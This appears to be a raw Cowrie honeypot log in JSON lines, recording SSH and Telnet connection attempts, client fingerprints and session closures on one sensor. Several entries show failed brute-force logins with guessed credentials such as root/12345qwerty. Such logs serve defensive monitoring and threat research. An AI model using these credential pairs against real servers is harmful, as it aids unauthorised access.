{"eventid":"cowrie.session.connect","src_ip":"192.109.200.238","src_port":33672,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea5efcf42437","protocol":"ssh","message":"New connection: 192.109.200.238:33672 (10.17.0.5:22) [session: ea5efcf42437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:23.784709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:23.855807Z","src_ip":"192.109.200.238","session":"ea5efcf42437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:24.059988Z","src_ip":"192.109.200.238","session":"ea5efcf42437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:24.467281Z","src_ip":"178.27.90.142","session":"79d6e3187a95","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:24.514691Z","src_ip":"192.109.200.238","session":"ea5efcf42437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:24.518567Z","src_ip":"192.109.200.238","session":"ea5efcf42437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:24.785743Z","src_ip":"192.109.200.238","session":"ea5efcf42437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.670818328857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:25.559602Z","src_ip":"162.241.114.254","session":"3d677c651607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70211410522461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:27.292645Z","src_ip":"162.241.114.254","session":"5fcbfedc8f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866328954696655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:28.385392Z","src_ip":"162.241.114.254","session":"faae3d532315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13668656349182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:29.265423Z","src_ip":"152.70.153.3","session":"e365a3888512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1452374458313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:32.201184Z","src_ip":"162.241.114.254","session":"598827791fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774401664733887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:32.306082Z","src_ip":"162.241.114.254","session":"018e30d16416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375813961029053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:33.487729Z","src_ip":"162.241.114.254","session":"12251e548c06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374757766723633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:39.225076Z","src_ip":"162.241.114.254","session":"dd3d0a578011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38403344154358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:39.817834Z","src_ip":"162.241.114.254","session":"e0695846dba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.503098249435425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:39.885004Z","src_ip":"162.241.114.254","session":"c8b32f3078d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.26.130.157","src_port":44294,"dst_ip":"10.17.0.5","dst_port":23,"session":"458bbd5b578a","protocol":"telnet","message":"New connection: 154.26.130.157:44294 (10.17.0.5:23) [session: 458bbd5b578a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:44.708850Z"}
{"eventid":"cowrie.session.closed","duration":120.00167870521545,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:45.708561Z","src_ip":"182.253.54.171","session":"8fd11abd757d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138711929321,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:46.905476Z","src_ip":"182.253.54.171","session":"f613456877c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14702,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ec5a23dbe5","protocol":"telnet","message":"New connection: 182.253.54.171:14702 (10.17.0.5:23) [session: a5ec5a23dbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:47.446408Z"}
{"eventid":"cowrie.session.closed","duration":120.00163650512695,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:50.757018Z","src_ip":"182.253.54.171","session":"4b0051e051b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":51468,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6d024caff71","protocol":"ssh","message":"New connection: 102.211.152.138:51468 (159.203.135.109:22) [session: a6d024caff71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:50.884098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:50.888598Z","src_ip":"102.211.152.138","session":"a6d024caff71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:50.991624Z","src_ip":"102.211.152.138","session":"a6d024caff71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passw0rd@123","message":"login attempt [ubuntu/passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:51.435615Z","src_ip":"102.211.152.138","session":"a6d024caff71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12351,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d873265c26","protocol":"telnet","message":"New connection: 182.253.54.171:12351 (10.17.0.5:23) [session: b0d873265c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:52.284282Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:52.541502Z","src_ip":"102.211.152.138","session":"a6d024caff71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40214,"dst_ip":"159.203.135.109","dst_port":23,"session":"c15a308f38bb","protocol":"telnet","message":"New connection: 185.26.126.47:40214 (159.203.135.109:23) [session: c15a308f38bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:57.754113Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":52306,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1d07dceb4ca","protocol":"telnet","message":"New connection: 162.241.114.254:52306 (10.17.0.5:23) [session: d1d07dceb4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:20:58.603516Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":50180,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ea1dbb0838c","protocol":"ssh","message":"New connection: 43.157.98.118:50180 (159.203.135.109:22) [session: 2ea1dbb0838c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:00.938905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:00.944810Z","src_ip":"43.157.98.118","session":"2ea1dbb0838c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:01.038875Z","src_ip":"43.157.98.118","session":"2ea1dbb0838c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!234qwer","message":"login attempt [root/!234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:01.736048Z","src_ip":"43.157.98.118","session":"2ea1dbb0838c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:02.832209Z","src_ip":"43.157.98.118","session":"2ea1dbb0838c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.466221809387207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:15.174946Z","src_ip":"154.26.130.157","session":"458bbd5b578a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60004,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c785f047a94","protocol":"ssh","message":"New connection: 178.27.90.142:60004 (159.203.135.109:22) [session: 6c785f047a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:16.379468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:16.384592Z","src_ip":"178.27.90.142","session":"6c785f047a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:16.492866Z","src_ip":"178.27.90.142","session":"6c785f047a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as112233","message":"login attempt [root/as112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:16.962906Z","src_ip":"178.27.90.142","session":"6c785f047a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:18.066801Z","src_ip":"178.27.90.142","session":"6c785f047a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.70.153.3","src_port":44702,"dst_ip":"10.17.0.5","dst_port":23,"session":"3afca01288b6","protocol":"telnet","message":"New connection: 152.70.153.3:44702 (10.17.0.5:23) [session: 3afca01288b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:23.803646Z"}
{"eventid":"cowrie.session.closed","duration":30.599790811538696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:29.203172Z","src_ip":"162.241.114.254","session":"d1d07dceb4ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.94806790351868,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:44.702062Z","src_ip":"185.26.126.47","session":"c15a308f38bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":43864,"dst_ip":"159.203.135.109","dst_port":22,"session":"a62df51db924","protocol":"ssh","message":"New connection: 43.157.98.118:43864 (159.203.135.109:22) [session: a62df51db924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:51.420223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:51.424046Z","src_ip":"43.157.98.118","session":"a62df51db924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:51.516209Z","src_ip":"43.157.98.118","session":"a62df51db924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwerty","message":"login attempt [root/12345qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:52.214337Z","src_ip":"43.157.98.118","session":"a62df51db924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:53.309473Z","src_ip":"43.157.98.118","session":"a62df51db924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166034698486,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:54.211843Z","src_ip":"47.17.208.12","session":"594a4a5a583b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436960458755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:21:54.240485Z","src_ip":"152.70.153.3","session":"3afca01288b6","protocol":"telnet"}
